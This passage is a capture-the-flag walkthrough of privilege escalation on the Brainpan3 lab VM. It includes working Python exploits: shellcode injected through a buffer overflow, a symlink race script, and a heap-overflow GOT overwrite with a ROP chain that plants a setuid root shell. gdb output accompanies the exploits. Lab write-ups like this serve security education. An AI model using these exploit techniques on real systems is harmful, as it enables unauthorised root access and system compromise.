[------------------------------------stack-------------------------------------]
0000| 0xbffff408 ('A' )
0004| 0xbffff40c ('A' )
0008| 0xbffff410 ('A' )
0012| 0xbffff414 ('A' )
0016| 0xbffff418 ('A' )
0020| 0xbffff41c ('A' )
0024| 0xbffff420 ('A' )
0028| 0xbffff424 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()

So how are we gonna exploit this? well remember the key being stored in a global buffer, it seems that cryptor is compiled with executable stack and memory so we could place our shellcode in the key buffer and use in the filename buffer overflow to execute that shellcode by returning to it.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Exploit

#!/usr/bin/env python
import struct

def p(v):
	return struct.pack('<L', v)

# ./cryptor $(python cryptthis.py)
shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
# overflow the 'pOutFile' buffer(argument 1) with
# the address of 'key'
# char pOutFile[100]; // [sp+Ch] [bp-78h]@1
argFile = 29 * p(__bss_key) # 29 * 4 = 116 bytes
# store shellcode in 'key'(argument 2)
# .bss:0804A080 ; char key[100]
argKey = shellcode
print argFile + ' ' + argKey

When executing the exploit it not always works, just execute it a few times till it does

h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault
h4x@kali:~/bp3$ ./cryptor $(python cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
h4x
$

And on the brainpan box

anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
Segmentation fault (core dumped)
anansi@brainpan3:/home/reynard/private$ ./cryptor $(/tmp/cryptthis.py)
./cryptor $(/tmp/cryptthis.py)
[+] saving to ����������������������������������������������������������.enc
$ whoami
whoami
reynard
$ 

Puck
It took me a bit to figure out how to escalate to puck, when I did a netstat I noticed a service listing local on port 7075 and when connecting to it I was presented with the following text

$ nc 127.0.0.1 7075
nc 127.0.0.1 7075
open: No such file or directory
Incorrect key

After some more searching I found the trixd executable related to this service in the /usr/local/sbin folder

$ ls -lah /usr/local/sbin/
ls -lah /usr/local/sbin/
total 40K
drwxr-xr-x  2 root root 4.0K May 26 18:38 .
drwxr-xr-x 10 root root 4.0K May 19 18:06 ..
-rwxr-xr-x  1 root root  17K May 26 18:38 brainpan3
-rwxr-xr-x  1 root root 7.5K May 20 10:18 trixd
-rwxr-xr-x  1 root root  343 May 21 11:38 www

I copied the file to my local machine to analyze it

int checkKeyfile()
{
  int fd1; // eax@3 MAPDST
  int fd2; // eax@4 MAPDST
  int res; // ebx@5
  int v6; // [sp+10h] [bp-A8h]@0
  struct timeval stimeval; // [sp+24h] [bp-94h]@2
  struct stat sstat; // [sp+2Ch] [bp-8Ch]@2
  char pkey1[20]; // [sp+84h] [bp-34h]@2
  char pkey2[20]; // [sp+98h] [bp-20h]@2
  int v11; // [sp+ACh] [bp-Ch]@1

  v11 = v14;
  /*
  Anti debug code
  */
  if ( ptrace(0, 0, 1, 0, v6) < 0 )
  {
    res = -1;
  }
  else
  {
    setbuf(stdout, 0);
    stimeval.tv_usec = 1;
    memset(pkey1, 0, 20);
    memset(pkey2, 0, 20);
    /*
    check if the "/mnt/usb/key.txt" isn't a symbolic link
    */
    _lxstat(3, "/mnt/usb/key.txt", &sstat);
    if ( (sstat.st_mode & 0xF000) == C_ISLNK )
    {
      res = -1;
      puts("Key file is compromised.");
    }
    else
    {
      /*
      Do a little sleep...
      */
      select(1, 0, 0, 0, &stimeval);
      /*
      Open puck's keyfile and read its content
      */
      fd1 = open("/home/puck/key.txt", 0);
      if ( fd1 < 0 )
        perror("open");
      read(fd1, pkey1, 19u);
      /*
      Open the "/mnt/usb/key.txt" keyfile and read it's content
      */
      fd2 = open("/mnt/usb/key.txt", 0);
      if ( fd2 < 0 )
        perror("open");
      read(fd2, pkey2, 19u);
      /*
      Compare both keys and execute a shell when they match
      */
      res = strcmp(pkey2, pkey1);
      if ( res )
      {
        res = 0;
        puts("Incorrect key");
      }
      else
      {
        puts("Authentication successful");
        system("/bin/sh");
      }
    }
  }
  return res;
}

The “/mnt/usb/” folder is writable by reynard

131707    4 drwxrwx---   2 reynard  dev          4096 Aug  2 15:54 /mnt/usb

Once we connect to the service on 7075 the checkKeyfile function is executed which opens 2 keyfiles and compares the content of them and if they match we are dropped into a shell. The symbolic link check and sleep(using select) made it kinda obvious to me Superkojiman was hinting on a race condition. We could repeatedly create a keyfile in the usb folder and then change it to a symbolic link pointing to the keyfile in puck’s folder while at the same time connecting to the service and hope that at some point we beat the time between the symbolic link check and opening the file.
This would trick the code in comparing 2 the same files, the valid key in pucks folder.

A race to win

I wrote a piece of python code that repeatedly creates a keyfile, changes it to a symlink and does little sleeps between each action. This script has to be run as reynard since he is the only one allowed to write to the usb folder. Any other user can connect to the service.

#!/usr/bin/env python
import os
import time

# run this netcat commandline this script runs(needs a second terminal)
# for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done

if os.geteuid() != 1002:
	print 'Run as user reynard'
else:
	for i in range(1000):
		# create dummy key
		os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt')
		# wait abit ...
		time.sleep(0.1)
		# delete dummy key
		os.unlink('/mnt/usb/key.txt')
		# create symlink to puck key
		os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
		# wait abit ...
		time.sleep(0.1)
		# delete symlink
		os.unlink('/mnt/usb/key.txt')

	print '[+] Finished'

In order for this to work we need 2 shells so I created another anansi shell using the report exploit. This anansi shell is used to connect to the service while the reynard shell executes the race script.

The race script.

$ python /tmp/race.py
python /tmp/race.py

Running the netcat loop in the 2nd terminal a few times until it succeeds..

anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
...
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Authentication successful
id
id
uid=1001(puck) gid=1004(dev) groups=1001(puck)

No root, No glory

While I was searching for files related to puck I already found a interesting cron job

ls -lah /etc/cron.d/
total 16K
drwxr-xr-x  2 root root 4.0K May 20 19:35 .
drwxr-xr-x 90 root root 4.0K Sep 11 18:05 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rw-r--r--  1 root root  100 May 19 18:25 msg_admin

$ cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done

$ /usr/local/bin/msg_admin
Usage: /usr/local/bin/msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
    cate|Reset password request

The cron job grabs all .msg files from the /opt/.messenger folder and passes them to the msg_admin executable and after that it deletes the files.
I Copied the executable to my local machine to analyze it.

struct struct_msg
{
  int Priority;
  char *Requestername;
  char *Msg;
};

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int v8; // edi@15
  int v11; // [sp-8h] [bp-88h]@1
  char *sLineBuf; // [sp+Ch] [bp-74h]@3 MAPDST
  int dNrOfLines; // [sp+10h] [bp-70h]@1 MAPDST
  int i; // [sp+14h] [bp-6Ch]@1
  __int32 priority; // [sp+18h] [bp-68h]@1
  char *dest; // [sp+24h] [bp-5Ch]@1
  FILE *fdMsgFile; // [sp+28h] [bp-58h]@3
  char *delim; // [sp+34h] [bp-4Ch]@10
  char *linepart; // [sp+38h] [bp-48h]@11
  struct_msg *aMessages[10]; // [sp+3Ch] [bp-44h]@7
  int canarie; // [sp+64h] [bp-1Ch]@1

  canarie = *MK_FP(__GS__, 20);
  priority = 0;
  dNrOfLines = 0;
  i = 0;
  dest = &v11;
  if ( argc > 2 )
  {
    priority = atol(argv[1]);
    fdMsgFile = fopen(argv[2], "r");
    sLineBuf = malloc(400u);
    /*
    Count the lines in the file
    LINEMAX_2 = 400
    */
    while ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 0 )
      ++dNrOfLines;
    
    printf("[+] Recording %d entries\n", dNrOfLines);
    rewind(fdMsgFile);
    
    /*
    Create dNrOfLines amount of struct_msg structures
    and add them to aMessage[10] list (no boundery checks done)
    */
    for ( i = 0; i < dNrOfLines; ++i )
    {
      aMessages[i] = malloc(12u);
      aMessages[i]->Priority = priority;
      aMessages[i]->Requestername = malloc(10u);
      aMessages[i]->Msg = malloc(200u);
    }
    /*
    Parse each message line and assign its data to a struct_msg
    */
    for ( i = 0; i < dNrOfLines; ++i )
    {
      delim = "|";
      // read a line from the file
      if ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 1 )
      {
        // truncate current line
        sLineBuf[strlen(sLineBuf) - 1] = 0;
        /*
        Split the line on '|' into Requestername and Msg
        and copy it to a struct_msg (memory corruption)
        */
        linepart = strtok(sLineBuf, delim);
        strcpy(aMessages[i]->Requestername, linepart);
        linepart = strtok(0, delim);
        strcpy(aMessages[i]->Msg, linepart);
        /*
        Copy max 100 bytes from the current message to
        dest.. for no purpose, but very useful later 😉 
        */
        strncpy(dest, aMessages[i]->Msg, 100u);
      }
    }
    fclose(fdMsgFile);
    notify_admin(aMessages, dNrOfLines);
    result = 0;
  }
  else
  {
    usage(*argv);
    result = 1;
  }
  v8 = *MK_FP(__GS__, 20) ^ canarie;
  return result;
}

This is a classic memory corruption. For each message(line) in a .msg file it creates a struct_msg structure and allocates memory for it’s variable’s and then adds it to a list. Next it loops trough the file and splits every line on the ‘|’ delimiter and copies each part to the structure variables ‘Requestername’ and ‘Msg’. These variables have a fixed size of 10(Requestername) and 200(Msg). Since no lengths are being checked we could corrupt a structure pointer in memory.

The following code creates a .msg file with 2 messages and each its variables filled up to its max so it does not corrupt anything.

#!/usr/bin/env python
import sys
import struct

# message 1
payload =  10  * '\x41' # A
payload += '|'
payload += 200 * '\x42' # B
payload += '\n'
# message 2
payload += 10  * '\x43' # C
payload += '|'
payload += 200 * '\x44' # D
payload += '\n'

open('poc.msg','wb').write(payload)

When we analyze the memory using GBD we can see how all the memory is mapped

0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x00000000	0x00000011
0x804c478:	0x00000001	0x0804c488	0x0804c498	0x00000011
0x804c488:	0x43434343	0x43434343	0x00004343	0x000000d1
0x804c498:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4a8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4b8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4c8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4d8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4e8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4f8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c508:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c518:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c528:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c538:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c548:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c558:	0x44444444	0x44444444	0x00000000	0x00020aa1

The first struct_msg structure is located at 0x804c388 and the second at 0x804c478. Now when we use a larger(216 bytes) ‘Msg’ buffer for the first message we would overwrite the ‘Requestername’ pointer of the second struct_msg structure and effectively control the destination pointer and source data in the next strcpy call resulting in a Write-Anything-Anywhere condition allowing us to patch a GOT entry.

This code patches the got.strtok address to 0x43434343, strtok is the next function executed after the strcpy.

#!/usr/bin/env python
import sys
import struct

# message 1
# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
payload = 10 * '\x41'
payload += '|'
payload += 200 * '\x42'
payload += 12 * '\x42'
# overwrite 2nd struct it's requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes 0x43434343
payload += '\n'
# message 2
payload += 4 * '\x43' # written to got.strtok
payload += '|'
payload += 200 * '\x44'
payload += '\n'

open('poc.msg','wb').write(payload)

Some GDB

gdb-peda$ x/150xw 0x804c388
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c478:	0x42424242	0x0804b05c	0x0804c400	0x00000011
0x804c488:	0x00000000	0x00000000	0x00000000	0x000000d1
0x804c498:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4d8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4e8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c508:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c518:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c528:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c538:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c548:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c558:	0x00000000	0x00000000	0x00000000	0x00020aa1
...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac --> 0x8048ce3 (:	mov    DWORD PTR [ebp-0x48],eax)
0004| 0xbffff2b0 --> 0x0 
0008| 0xbffff2b4 --> 0x8048f4d --> 0x100007c 
0012| 0xbffff2b8 --> 0x804c008 --> 0xfbad2488 
0016| 0xbffff2bc ('B' repeats 100 times "\234, \357\377\267 \360\377\267")
0020| 0xbffff2c0 ('B' repeats 96 times "\234, \357\377\267 \360\377\267")
0024| 0xbffff2c4 ('B' repeats 92 times "\234, \357\377\267 \360\377\267")
0028| 0xbffff2c8 ('B' repeats 88 times "\234, \357\377\267 \360\377\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()

Based on the GDB output we can see that if we would execute a pop(4) gadget we would return to ‘dest’ data of the first(previous) message which is stored on the stack by the ‘strncpy(dest, aMessages[i]->Msg, 100u);’.

Root All Thingz

I wrote a ROP payload which loads the address of atol from the got into eax and sums this value up till system by adding 0xE900 in 3 stages and then call’s eax(system) with the argument ‘/tmp/foo’, this is a script created by us and when executed it copies a root owned SUID shell to tmp.

#!/usr/bin/env python
import sys
import struct
import os

def p(v):
	return struct.pack('<L', v)

# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
__strtok_got	= 0x0804B05C
# .got.plt:0804B04C off_804B04C     dd offset atol          ; DATA XREF: _atol
__atol_got		= 0x0804B04C
# pop pop pop pop retn
__ppppr 		= 0x08048DDC
# .rodata:08048ED8 aEgTonyPleaseRe db 'Eg: tony|Please remove /tmp/foo',0
# '/tmp/foo' starts at 0x08048ED8 + 23
__foo_str 		= 0x08048ED8
# 0x080480C7	0x0000E800
__int16_e800h 	= 0x080480C7 
# 0x08048093	0x00000100
__int16_0100h 	= 0x08048093


# ROP
# eax = 0
# 0x08048790: mov eax 0x0804b074 ; sub eax 0x0804b074 ; ...
# eax += atol
# 0x08048e06: pop ebx <- __atol_got - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += e800h
# 0x08048e06: pop ebx <- __int16_e800h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += 0100h
# 0x08048e06: pop ebx <- __int16_0100h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax -> system
# argv[1] -> __foo_str + 23 eq. '/tmp/foo'
# 0x08048786: call eax ; leave ;

rop  = p(0x08048790)
rop += p(0x08048E06)
rop += p((__atol_got - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_e800h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_0100h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048786)
rop += p(__foo_str + 23)

# message 1
payload = 10 * 'A'
payload += '|'
payload += rop.ljust(212, 'A') # padding till 212 eq next struct requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes __ppppr
payload += '\n'
# message 2
payload += p(__ppppr) # written to got.strtok
payload += '|'
payload += 200 * 'A'
payload += '\n'

# create the exploit message file
open('exploit.msg','wb').write(payload)
# create the foo file
foocode = "cp /bin/sh /tmp/r00tsh3ll;chown root:root /tmp/r00tsh3ll;chmod 4755 /tmp/r00tsh3ll"
open('/tmp/foo','wb').write(foocode)
os.system('chmod +x /tmp/foo')

Executed the exploit from the tmp folder and moved the created exploit.msg into the /opt/.messenger folder and waited a bit..

./rootsploit.py
ls -lah
total 20K
drwxrwxrwt  2 root root 4.0K Sep 13 01:05 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rw-r--r--  1 puck dev   434 Sep 13 01:05 exploit.msg
-rwxr-xr-x  1 puck dev    82 Sep 13 01:05 foo
-rwxr-xr-x  1 puck dev  2.0K Sep 13 00:43 rootsploit.py
mv exploit.msg /opt/.messenger/
ls -lah
total 128K
drwxrwxrwt  2 root root 4.0K Sep 13 01:08 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rwxr-xr-x  1 puck dev    82 Sep 13 01:05 foo
-rwsr-xr-x  1 root root 110K Sep 13 01:08 r00tsh3ll
-rwxr-xr-x  1 puck dev  2.0K Sep 13 00:43 rootsploit.py
./r00tsh3ll
id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
whoami
root

Game over

This was another awesome boot2root VM, I enjoyed it allot. Thanks Superkojiman!